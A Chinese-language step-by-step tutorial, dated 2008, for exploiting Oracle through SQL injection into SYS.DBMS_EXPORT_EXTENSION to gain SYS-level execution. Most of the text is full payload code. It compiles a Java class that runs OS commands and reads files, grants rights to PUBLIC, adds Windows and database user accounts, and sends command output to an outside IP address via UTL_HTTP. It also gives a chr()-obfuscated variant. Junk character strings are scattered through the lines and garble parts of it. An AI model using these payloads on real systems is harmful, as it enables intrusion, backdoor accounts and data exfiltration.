以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
0 a+ `& u% \" q5 t9 _- i
% e3 D" E& U9 N& s' ?* s /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
4 z* ]6 U3 g" U% @& [) ?的形式即可。(用" 'a'|| "是为了让语句返回true值) ; p$ {0 H( F0 W2 H: [+ A
语句有点长,可能要用post提交。
$ O' t9 ?2 D; I ^以下是各个步骤:
9 q3 r t1 E* G( u; M3 P: ^1.创建包
% W6 U/ B; I& ~8 C" n0 F通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
5 W! Q( F1 |9 m* [* ~3 H/xxx.jsp?id=1 and '1'<>'a'||(
1 V/ ^5 ?, m p# ~2 j0 M" Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
Q9 P8 V) i7 |3 }! V5 N& Y7 Icreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 X8 S/ k, C. [2 cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ K1 B/ C ~6 Q1 z$ A& F9 ]' _
}'''';END;'';END;--','SYS',0,'1',0) from dual
7 N1 c/ m2 r9 u7 u8 B' y)
, G0 Y1 w$ @! [% z! z; u8 ?; L------------------------
) {! N8 K7 t' y% g1 \4 j5 ~如果url有长度限制,可以把readFile()函数块去掉,即: 1 \/ J/ C/ ]7 c) ^
/xxx.jsp?id=1 and '1'<>'a'||( 3 k$ ~& d r0 N2 I' |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( n; |$ Z4 l: \$ f" B5 P
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
' O: U# P0 u, Y: v4 P3 d0 v5 s1 onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 `+ i0 P. H& Q5 p* W3 W}'''';END;'';END;--','SYS',0,'1',0) from dual
3 c e' O) \5 W" G)
) R' p* Y, z( ?. k3 c: T! b1 d同时把后面步骤 提到的 对readFile()的处理语句去掉。 6 V; a; C2 q6 A8 E9 i+ {* b+ D2 d; u
------------------------------
- U) e/ R5 [1 B9 j: w2.赋Java权限
$ r" U; d: J; H$ T7 o( B3 d8 E; cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
p# p, k: A% x+ d# b( o3.创建函数
' Z- `. T2 q- D/ F6 Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ H& B( K; x" V$ w0 Icreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
. E3 a# X6 I: d3 V$ n; n; a) d8 W$ ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) n! G& C* |; Q$ ycreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual8 S) S4 f/ @6 N( f7 ]% j
4.赋public执行函数的权限
4 ^! D# A0 ~- w; Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
% l5 [' e$ ~- p6 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
; j5 ^. {+ D. K5.测试上面的几步是否成功 ' g5 ] |$ q* r; h( Q
and '1'<>'11'||( & e$ h) n& Z/ e \! s5 v
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
+ ?4 C5 I2 O% m)
/ {" C9 k1 m9 z% P; M W3 t9 Sand '1'<>( # [9 C+ a: l" ]- E9 H! h* h8 u
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
" T1 d2 c) s8 ~, H) U9 M3 J9 u)
; V' a1 b- H7 d. T9 M6.执行命令:
- l6 x7 B% ?5 Q; a) N D, H/xxx.jsp?id=1 and '1'<>(
$ ?1 F% x I4 p& y: Oselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
% E! L9 q' c2 ?6 I$ j; D: v5 o9 o% b" I$ b6 v3 R! e
) # L8 K, e4 `. }
/xxx.jsp?id=1 and '1'<>(
) I2 ^* f) h; V i4 C5 ?select sys.LinxReadFile('c:/boot.ini') from dual
S1 ], N& o( f* F0 t; {* x3 _( j+ N/ u
1 A1 X- g: G' i' O9 d- \7 R)0 x4 V3 x$ M. J5 S( ]
1 M7 \, h& N7 m) U: m0 C
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
5 C8 M" I/ ]7 P" _$ I$ }9 B如果要查看运行结果可以用 union : . j ^9 ]& y' k( }# J
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
& F( C# a' V/ w; U* o5 J或者UTL_HTTP.request(: / v. M- f1 { ~. |* ^% ^
/xxx.jsp?id=1 and '1'<>(
- f1 Y% A9 [" _0 i7 S S1 ASELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual( e* m% m% F8 x6 A. z
)
k( U1 g! D" R' }0 v9 ^6 ~4 c/ E/xxx.jsp?id=1 and '1'<>( 1 a3 Q! `2 H7 Y( o
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual8 n9 u: j4 K2 M" {' r0 J
) 7 K4 b9 C+ D3 j) e
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
- T8 V: t, [8 V5 L--------------------
) t; T& e+ a" L y4 M6.内部变化
1 C+ y5 z" I% m4 [通过以下命令可以查看all_objects表达改变:
3 r H0 q. m0 g! R+ j1 {( C5 Eselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
& W2 a1 @- z" s+ s% V7.删除我们创建的函数 ' E! _" P, }" i9 m. U* S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( ~$ D: X. b! ~3 d: Jdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
' o6 D5 {/ ]; c- y5 u$ I==================================================== 1 U" j2 z; ~! Z: I
全文结束。谨以此文赠与我的朋友。 / n. u' O- e2 R$ z# m- K* O, n
linx
e2 c% b8 i+ L% a( [124829445 ! W& b! r+ ?4 C
2008.1.12 " ]! N6 S7 T+ S# C! g5 e9 t
linyujian@bjfu.edu.cn & ~) s/ Y+ K8 W1 M* J7 I
====================================================================== : R) ^+ K& m9 N
测试漏洞的另一方法: 7 d+ k- H5 ^ j1 j+ t
创建oracle帐号:
1 o% U& G# x# V4 ~9 K" u. ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ ~. m n5 G, y$ H% m
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* p R% E' O/ S- K即: 1 N3 w6 a9 y7 n; \5 T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
3 }2 p& E- w* a4 B, achr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 5 H, g2 w1 {1 a* [
确定漏洞存在:
; [* i+ Q6 @$ u3 o1<>(
+ d5 z& q1 ]8 A1 z$ C9 l$ {, |0 fselect user_id from all_users where username='LINXSQL' ) m) C" Y9 o0 x" c
)
. H3 J# }7 k$ x( p给linxsql连接权限:
% M6 F! E, O; h2 _5 l3 o$ n% Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 D) g4 h' k2 b5 xGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 8 n. V8 q: }# r# Z/ ^. }9 \8 {
删除帐号:
, f/ `, \: |/ e5 {' r* Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 J2 H; t4 T. u! Y0 x
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ! l1 E) S t# W
====================== 2 S" C# i+ s! Z0 t2 B/ E
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
% s7 X1 g* A4 H- [* {) r; o) O6 M1.jsp?id=1 and '1'<>(
# S! x# R( C5 a- _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' T* ^4 u- e! v: N: U$ e6 q
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
5 W1 \& x$ _: r# ?( }- w) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE Q" I U' ?. A" O0 y( [
)9 l' n* E0 ~6 t C' b
+ W* o. ~9 L% S+ i
: v: i: J% p; ]6 x4 b) P
% f/ R2 w2 g' d, ]" Z8 H7 |& c |